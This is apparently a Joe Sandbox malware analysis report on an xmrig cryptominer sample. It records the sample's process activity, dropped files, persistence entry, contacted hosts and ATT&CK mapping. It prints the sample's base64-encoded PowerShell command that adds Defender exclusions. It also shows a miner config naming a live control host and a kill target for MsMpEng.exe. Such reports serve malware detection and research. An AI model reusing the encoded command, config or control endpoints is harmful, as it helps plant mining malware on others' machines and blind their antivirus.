Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcageababmag8abgbzafwarablahmaawb0ag8acabcagyaaqbsagualgblahgazqa7acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabyag8aywblahmacwagaemaogbcafuacwblahiacwbcageababmag8abgbzafwarablahmaawb0ag8acabcagyaaqbsagualgblahgazqa7aeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaataeuaeabjagwadqbzagkabwbuafaayqb0aggaiabdadoaxabvahmazqbyahmaxabhagwazgbvag4acwbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwavwbpag4azabvahmaqwbqafuacwb5ahmadablag0algblahgazqa7acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabyag8aywblahmacwagaemaogbcafuacwblahiacwbcageababmag8abgbzafwaqqbwahaarabhahqayqbcafiabwbhag0aaqbuagcaxabxagkabgbkag8acwbdafaavqbzahkacwb0aguabqauaguaeablaa==
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcageababmag8abgbzafwarablahmaawb0ag8acabcagyaaqbsagualgblahgazqa7acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabyag8aywblahmacwagaemaogbcafuacwblahiacwbcageababmag8abgbzafwarablahmaawb0ag8acabcagyaaqbsagualgblahgazqa7aeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaataeuaeabjagwadqbzagkabwbuafaayqb0aggaiabdadoaxabvahmazqbyahmaxabhagwazgbvag4acwbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwavwbpag4azabvahmaqwbqafuacwb5ahmadablag0algblahgazqa7acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabyag8aywblahmacwagaemaogbcafuacwblahiacwbcageababmag8abgbzafwaqqbwahaarabhahqayqbcafiabwbhag0aaqbuagcaxabxagkabgbkag8acwbdafaavqbzahkacwb0aguabqauaguaeablaa==			Jump to behavior

Source: explorer.exe, 00000006.00000003.2810758230.00000000012DB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2832239989.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2811067450.00000000012E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {"id":"yfqheswlazlzoxmx","computername":"284992","username":"user","gpu":"P5HMBCCT","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"https://woo097878781.win/P.txt","version":"3.4.1","activewindow":"C:\\Windows\\explorer.exe - Program Manager","runtime":61,"type":"xmrig","status":1}
Source: explorer.exe, 00000006.00000003.2832441496.00000000012EB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2810758230.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3251671714.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000006.00000003.2810758230.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2811067450.00000000012F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: zlzoxmx","computername":"284992","username":"user","gpu":"P5HMBCCT","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"https://woo097878781.win/P.txt","version":"3.4.1","activewindow":"C:\\Windows\\explorer.exe - Program Manager","runtime":61,"type":"xmrig","status":1}
Source: explorer.exe, 00000006.00000003.2810758230.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2810935675.0000000001311000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\explorer.exe - Program Managere
Source: explorer.exe, 00000006.00000003.2810758230.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2810935675.0000000001311000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\explorer.exe - Program Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Queries volume information: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe VolumeInformation	Jump to behavior

Source: C:\Windows\explorer.exe

Code function: 6_2_00000001403274D0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

6_2_00000001403274D0

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: explorer.exe, 00000006.00000003.2237726271.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2479254183.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2832441496.00000000012EB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2810758230.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2811067450.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2263312897.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3251671714.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270800960.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2996719613.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3378093722.00000000012D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270125052.00000000012F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: explorer.exe, 00000006.00000003.2237726271.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2811067450.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2237726271.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270125052.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2269695496.0000000001311000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2479254183.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2832441496.00000000012EB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2810758230.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2263312897.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2832239989.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270800960.00000000012E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	31 Windows Management Instrumentation	111 Scripting	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Windows Service	1 Windows Service	1 Abuse Elevation Control Mechanism	Security Account Manager	34 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	1 Scheduled Task/Job	512 Process Injection	1 Obfuscated Files or Information	NTDS	341 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	2 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Software Packing	LSA Secrets	2 Process Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	2 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Cached Domain Credentials	161 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	161 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	512 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	24%	ReversingLabs
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\orupcopicsyv.sys	5%	ReversingLabs
C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	24%	ReversingLabs

Source	Detection	Scanner	Label
https://woo097878781.win/66/api/endpoint.php	0%	Avira URL Cloud	safe
https://woo097878781.win/P.txt--cinit-kill-targets=MsMpEng.exe--cinit-api=https://woo097878781.win/6	0%	Avira URL Cloud	safe
https://woo097878781.win/P.txtZ	0%	Avira URL Cloud	safe
https://woo097878781.win	0%	Avira URL Cloud	safe
https://woo097878781.win/66/api/endpoint.phpProvider	0%	Avira URL Cloud	safe
https://woo097878781.win/P.txt	0%	Avira URL Cloud	safe
http://schemas.micr	0%	Avira URL Cloud	safe
https://woo097878781.win/P.txtEMP	0%	Avira URL Cloud	safe
https://woo097878781.winxe	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pool.hashvault.pro	37.203.243.102	true	false		high
woo097878781.win	154.216.20.243	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://woo097878781.win/66/api/endpoint.php	true	Avira URL Cloud: safe	unknown
https://woo097878781.win/P.txt	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2194011814.000001FAAF571000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	file.exe, 00000000.00000002.2201146076.0000026B4888C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp, WindosCPUsystem.exe, 00000009.00000002.2333963744.0000022790D6C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2171532533.000001FA9F728000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000002.00000002.2171532533.000001FA9F728000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2171532533.000001FA9F728000.00000004.00000800.00020000.00000000.sdmp	false		high
https://woo097878781.win/P.txt--cinit-kill-targets=MsMpEng.exe--cinit-api=https://woo097878781.win/6	explorer.exe, 00000006.00000002.3378093722.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000002.00000002.2194011814.000001FAAF571000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2194011814.000001FAAF571000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp	false		high
http://schemas.micr	WindosCPUsystem.exe, 00000009.00000002.2754655191.00000227AACEC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2171532533.000001FA9F728000.00000004.00000800.00020000.00000000.sdmp	false		high
https://woo097878781.win	explorer.exe, 00000006.00000003.2810758230.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2810935675.0000000001311000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-neti	file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp	false		high
https://woo097878781.win/P.txtZ	explorer.exe, 00000006.00000003.2237726271.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2479254183.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2832441496.00000000012EB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2810758230.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2811067450.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2263312897.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3251671714.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270800960.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2996719613.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3378093722.00000000012D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270125052.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3251273544.00000000012D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2832239989.00000000012E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/11564914/23354;	file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp	false		high
https://woo097878781.win/P.txtEMP	explorer.exe, 00000006.00000003.2237726271.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2811067450.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270125052.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2479254183.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2832441496.00000000012EB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270800960.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3251671714.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2996719613.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2236864354.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3378093722.00000000012D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3251273544.00000000012D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2811156999.00000000012EB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2832239989.00000000012E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000002.00000002.2171532533.000001FA9F728000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000002.00000002.2194011814.000001FAAF571000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2194011814.000001FAAF571000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xmrig.com/docs/algorithms	explorer.exe, 00000006.00000002.3379529073.0000000140360000.00000002.00000001.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.2171532533.000001FA9F501000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	file.exe, 00000000.00000002.2201146076.0000026B4888C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2171532533.000001FA9F501000.00000004.00000800.00020000.00000000.sdmp, WindosCPUsystem.exe, 00000009.00000002.2333963744.0000022790D6C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://woo097878781.win/66/api/endpoint.phpProvider	explorer.exe, 00000006.00000002.3378093722.0000000001249000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://woo097878781.winxe	explorer.exe, 00000006.00000003.2810758230.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2810935675.0000000001311000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
37.203.243.102	pool.hashvault.pro	Russian Federation		44964	DAPLDATAPLANETLtdRU	false
154.216.20.243	woo097878781.win	Seychelles		135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false

Private

IP
192.168.0.100

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574031
Start date and time:	2024-12-12 20:35:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.expl.evad.mine.winEXE@14/9@2/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.175.87.197
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target aspnet_compiler.exe, PID 1012 because it is empty
Execution Graph export aborted for target aspnet_compiler.exe, PID 5628 because there are no executed function
Execution Graph export aborted for target explorer.exe, PID 6760 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 6696 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:36:13	API Interceptor	16x Sleep call for process: powershell.exe modified
14:36:18	API Interceptor	2x Sleep call for process: aspnet_compiler.exe modified
20:36:19	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
37.203.243.102	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse
	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse
	lokigod.exe	Get hash	malicious	Xmrig	Browse
	xblkpfZ8Y4.exe	Get hash	malicious	Xmrig	Browse
154.216.20.243	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkVision Rat, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, DCRat, DarkVision Rat, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse
	https://zillow-online.com/realestate/one/drive/docs/	Get hash	malicious	HTMLPhisher	Browse
	https://zillow-online.com/realestate/one/drive/docs/	Get hash	malicious	HTMLPhisher	Browse
	https://estacionar-replonline.net/galicia/?fbclid=PAZXh0bgNhZW0BMAABpj	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pool.hashvault.pro	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse	37.203.243.102
	file.exe	Get hash	malicious	Amadey, DCRat, DarkVision Rat, LummaC Stealer, Stealc, Vidar	Browse	37.203.243.102
	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse	5.188.137.200
	lokigod.exe	Get hash	malicious	Xmrig	Browse	37.203.243.102
	xblkpfZ8Y4.exe	Get hash	malicious	Xmrig	Browse	5.188.137.200
	0kToM9fVGQ.exe	Get hash	malicious	Xmrig	Browse	45.76.89.70
	prog.exe	Get hash	malicious	Xmrig	Browse	95.179.241.203
	bypass.exe	Get hash	malicious	Xmrig	Browse	95.179.241.203
	loader.exe	Get hash	malicious	Xmrig	Browse	142.202.242.43
	7K5DrSyL8Y.exe	Get hash	malicious	Xmrig	Browse	45.76.89.70
woo097878781.win	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	154.216.20.243
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkVision Rat, LummaC Stealer, Stealc	Browse	154.216.20.243
	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse	154.216.20.243
	file.exe	Get hash	malicious	Amadey, DCRat, DarkVision Rat, LummaC Stealer, Stealc, Vidar	Browse	154.216.20.243
	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse	154.216.20.243

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SKHT-ASShenzhenKatherineHengTechnologyInformationCo	jew.m68k.elf	Get hash	malicious	Unknown	Browse	45.207.239.54
	Strait STS.vbs	Get hash	malicious	Remcos, GuLoader	Browse	154.216.18.216
